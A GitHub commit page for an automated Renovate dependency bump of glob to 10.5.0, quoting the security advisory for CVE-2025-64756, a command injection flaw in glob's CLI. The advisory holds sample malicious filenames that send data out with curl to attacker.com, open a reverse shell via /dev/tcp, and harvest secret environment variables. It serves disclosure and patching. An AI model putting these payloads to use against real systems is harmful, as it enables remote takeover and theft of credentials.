Commit 52db3e5
authored
chore(deps): update dependency glob to v10.5.0 [security] (#468)
This PR contains the following updates:
| Package | Change | Age | Confidence |
|---|---|---|---|
| [glob](https://redirect.github.com/isaacs/node-glob) | [`10.3.6` ->
`10.5.0`](https://renovatebot.com/diffs/npm/glob/10.3.6/10.5.0) |
[](https://docs.renovatebot.com/merge-confidence/)
|
[](https://docs.renovatebot.com/merge-confidence/)
|
### GitHub Vulnerability Alerts
####
[CVE-2025-64756](https://redirect.github.com/isaacs/node-glob/security/advisories/GHSA-5j98-mcp5-4vw2)
### Summary
The glob CLI contains a command injection vulnerability in its
`-c/--cmd` option that allows arbitrary command execution when
processing files with malicious names. When `glob -c <command>
<patterns>` is used, matched filenames are passed to a shell with
`shell: true`, enabling shell metacharacters in filenames to trigger
command injection and achieve arbitrary code execution under the user or
CI account privileges.
### Details
**Root Cause:**
The vulnerability exists in `src/bin.mts:277` where the CLI collects
glob matches and executes the supplied command using `foregroundChild()`
with `shell: true`:
```javascript
stream.on('end', () => foregroundChild(cmd, matches, { shell: true }))
```
**Technical Flow:**
1. User runs `glob -c <command> <pattern>`
2. CLI finds files matching the pattern
3. Matched filenames are collected into an array
4. Command is executed with matched filenames as arguments using `shell:
true`
5. Shell interprets metacharacters in filenames as command syntax
6. Malicious filenames execute arbitrary commands
**Affected Component:**
- **CLI Only:** The vulnerability affects only the command-line
interface
- **Library Safe:** The core glob library API (`glob()`, `globSync()`,
streams/iterators) is not affected
- **Shell Dependency:** Exploitation requires shell metacharacter
support (primarily POSIX systems)
**Attack Surface:**
- Files with names containing shell metacharacters: `$()`, backticks,
`;`, `&`, `|`, etc.
- Any directory where attackers can control filenames (PR branches,
archives, user uploads)
- CI/CD pipelines using `glob -c` on untrusted content
### PoC
**Setup Malicious File:**
```bash
mkdir test_directory && cd test_directory
# Create file with command injection payload in filename
touch '$(touch injected_poc)'
```
**Trigger Vulnerability:**
```bash
# Run glob CLI with -c option
node /path/to/glob/dist/esm/bin.mjs -c echo "**/*"
```
**Result:**
- The echo command executes normally
- **Additionally:** The `$(touch injected_poc)` in the filename is
evaluated by the shell
- A new file `injected_poc` is created, proving command execution
- Any command can be injected this way with full user privileges
**Advanced Payload Examples:**
**Data Exfiltration:**
```bash
# Filename: $(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)
touch '$(curl -X POST https://attacker.com/exfil -d "$(whoami):$(pwd)" > /dev/null 2>&1)'
```
**Reverse Shell:**
```bash
# Filename: $(bash -i >& /dev/tcp/attacker.com/4444 0>&1)
touch '$(bash -i >& /dev/tcp/attacker.com/4444 0>&1)'
```
**Environment Variable Harvesting:**
```bash
# Filename: $(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)
touch '$(env | grep -E "(TOKEN|KEY|SECRET)" > /tmp/secrets.txt)'
```
### Impact
**Arbitrary Command Execution:**
- Commands execute with full privileges of the user running glob CLI
- No privilege escalation required - runs as current user
- Access to environment variables, file system, and network
**Real-World Attack Scenarios:**
**1. CI/CD Pipeline Compromise:**
- Malicious PR adds files with crafted names to repository
- CI pipeline uses `glob -c` to process files (linting, testing,
deployment)
- Commands execute in CI environment with build secrets and deployment
credentials
- Potential for supply chain compromise through artifact tampering
**2. Developer Workstation Attack:**
- Developer clones repository or extracts archive containing malicious
filenames
- Local build scripts use `glob -c` for file processing
- Developer machine compromise with access to SSH keys, tokens, local
services
**3. Automated Processing Systems:**
- Services using glob CLI to process uploaded files or external content
- File uploads with malicious names trigger command execution
- Server-side compromise with potential for lateral movement
**4. Supply Chain Poisoning:**
- Malicious packages or themes include files with crafted names
- Build processes using glob CLI automatically process these files
- Wide distribution of compromise through package ecosystems
**Platform-Specific Risks:**
- **POSIX/Linux/macOS:** High risk due to flexible filename characters
and shell parsing
- **Windows:** Lower risk due to filename restrictions, but
vulnerability persists with PowerShell, Git Bash, WSL
- **Mixed Environments:** CI systems often use Linux containers
regardless of developer platform
### Affected Products
- **Ecosystem:** npm
- **Package name:** glob
- **Component:** CLI only (`src/bin.mts`)
- **Affected versions:** v10.2.0 through v11.0.3 (and likely later
versions until patched)
- **Introduced:** v10.2.0 (first release with CLI containing `-c/--cmd`
option)
- **Patched versions:** 11.1.0and 10.5.0
**Scope Limitation:**
- **Library API Not Affected:** Core glob functions (`glob()`,
`globSync()`, async iterators) are safe
- **CLI-Specific:** Only the command-line interface with `-c/--cmd`
option is vulnerable
### Remediation
- Upgrade to `[email protected]`, `[email protected]`, or higher, as soon as
possible.
- If any `glob` CLI actions fail, then convert commands containing
positional arguments, to use the `--cmd-arg`/`-g` option instead.
- As a last resort, use `--shell` to maintain `shell:true` behavior
until glob v12, but take care to ensure that no untrusted contents can
possibly be encountered in the file path results.
---
### Release Notes
<details>
<summary>isaacs/node-glob (glob)</summary>
###
[`v10.5.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.5...v10.5.0)
###
[`v10.4.5`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.4...v10.4.5)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.4...v10.4.5)
###
[`v10.4.4`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.3...v10.4.4)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.3...v10.4.4)
###
[`v10.4.3`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.2...v10.4.3)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.2...v10.4.3)
###
[`v10.4.2`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.1...v10.4.2)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.1...v10.4.2)
###
[`v10.4.1`](https://redirect.github.com/isaacs/node-glob/compare/v10.4.0...v10.4.1)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.4.0...v10.4.1)
###
[`v10.4.0`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.16...v10.4.0)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.16...v10.4.0)
###
[`v10.3.16`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.15...v10.3.16)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.15...v10.3.16)
###
[`v10.3.15`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.14...v10.3.15)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.14...v10.3.15)
###
[`v10.3.14`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.13...v10.3.14)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.13...v10.3.14)
###
[`v10.3.13`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.12...v10.3.13)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.12...v10.3.13)
###
[`v10.3.12`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.11...v10.3.12)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.11...v10.3.12)
###
[`v10.3.11`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.10...v10.3.11)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.10...v10.3.11)
###
[`v10.3.10`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.9...v10.3.10)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.9...v10.3.10)
###
[`v10.3.9`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.8...v10.3.9)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.8...v10.3.9)
###
[`v10.3.8`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.7...v10.3.8)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.7...v10.3.8)
###
[`v10.3.7`](https://redirect.github.com/isaacs/node-glob/compare/v10.3.6...v10.3.7)
[Compare
Source](https://redirect.github.com/isaacs/node-glob/compare/v10.3.6...v10.3.7)
</details>
---
### Configuration
📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no
schedule defined).
🚦 **Automerge**: Enabled.
♻ **Rebasing**: Whenever PR is behind base branch, or you tick the
rebase/retry checkbox.
🔕 **Ignore**: Close this PR and you won't be reminded about this update
again.
---
- [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check
this box
---
## Need help?
You can ask for more help in the following Slack channel:
#proj-renovate-self-hosted. In that channel you can also find ADR and
FAQ docs in the Resources section.
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MS4xMzkuMSIsInVwZGF0ZWRJblZlciI6IjQxLjEzOS4xIiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJhdXRvbWVyZ2Utc2VjdXJpdHktdXBkYXRlIiwic2V2ZXJpdHk6Il19-->
Signed-off-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>
Co-authored-by: renovate-sh-app[bot] <219655108+renovate-sh-app[bot]@users.noreply.github.com>1 parent 40e0c75 commit 52db3e5
2 files changed
+34
-28
lines changed| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
64 | 64 | | |
65 | 65 | | |
66 | 66 | | |
67 | | - | |
| 67 | + | |
68 | 68 | | |
69 | 69 | | |
70 | 70 | | |
| |||
| Original file line number | Diff line number | Diff line change | |
|---|---|---|---|
| |||
4733 | 4733 | | |
4734 | 4734 | | |
4735 | 4735 | | |
4736 | | - | |
4737 | | - | |
4738 | | - | |
4739 | | - | |
| 4736 | + | |
| 4737 | + | |
| 4738 | + | |
| 4739 | + | |
4740 | 4740 | | |
4741 | 4741 | | |
4742 | | - | |
4743 | | - | |
4744 | | - | |
4745 | | - | |
| 4742 | + | |
| 4743 | + | |
| 4744 | + | |
| 4745 | + | |
| 4746 | + | |
4746 | 4747 | | |
4747 | 4748 | | |
4748 | 4749 | | |
| |||
5441 | 5442 | | |
5442 | 5443 | | |
5443 | 5444 | | |
5444 | | - | |
| 5445 | + | |
5445 | 5446 | | |
5446 | 5447 | | |
5447 | 5448 | | |
| |||
6072 | 6073 | | |
6073 | 6074 | | |
6074 | 6075 | | |
| 6076 | + | |
| 6077 | + | |
| 6078 | + | |
| 6079 | + | |
| 6080 | + | |
6075 | 6081 | | |
6076 | 6082 | | |
6077 | 6083 | | |
6078 | 6084 | | |
6079 | 6085 | | |
6080 | 6086 | | |
6081 | 6087 | | |
6082 | | - | |
6083 | | - | |
6084 | | - | |
6085 | | - | |
6086 | | - | |
6087 | 6088 | | |
6088 | 6089 | | |
6089 | 6090 | | |
| |||
6232 | 6233 | | |
6233 | 6234 | | |
6234 | 6235 | | |
6235 | | - | |
6236 | | - | |
6237 | | - | |
6238 | | - | |
| 6236 | + | |
| 6237 | + | |
| 6238 | + | |
| 6239 | + | |
6239 | 6240 | | |
6240 | 6241 | | |
6241 | 6242 | | |
| |||
6244 | 6245 | | |
6245 | 6246 | | |
6246 | 6247 | | |
6247 | | - | |
6248 | | - | |
6249 | | - | |
6250 | | - | |
| 6248 | + | |
| 6249 | + | |
| 6250 | + | |
| 6251 | + | |
6251 | 6252 | | |
6252 | 6253 | | |
6253 | 6254 | | |
| |||
6543 | 6544 | | |
6544 | 6545 | | |
6545 | 6546 | | |
| 6547 | + | |
| 6548 | + | |
| 6549 | + | |
| 6550 | + | |
| 6551 | + | |
6546 | 6552 | | |
6547 | 6553 | | |
6548 | 6554 | | |
| |||
6614 | 6620 | | |
6615 | 6621 | | |
6616 | 6622 | | |
6617 | | - | |
6618 | | - | |
6619 | | - | |
6620 | | - | |
| 6623 | + | |
| 6624 | + | |
| 6625 | + | |
| 6626 | + | |
6621 | 6627 | | |
6622 | | - | |
| 6628 | + | |
6623 | 6629 | | |
6624 | 6630 | | |
6625 | 6631 | | |
| |||
0 commit comments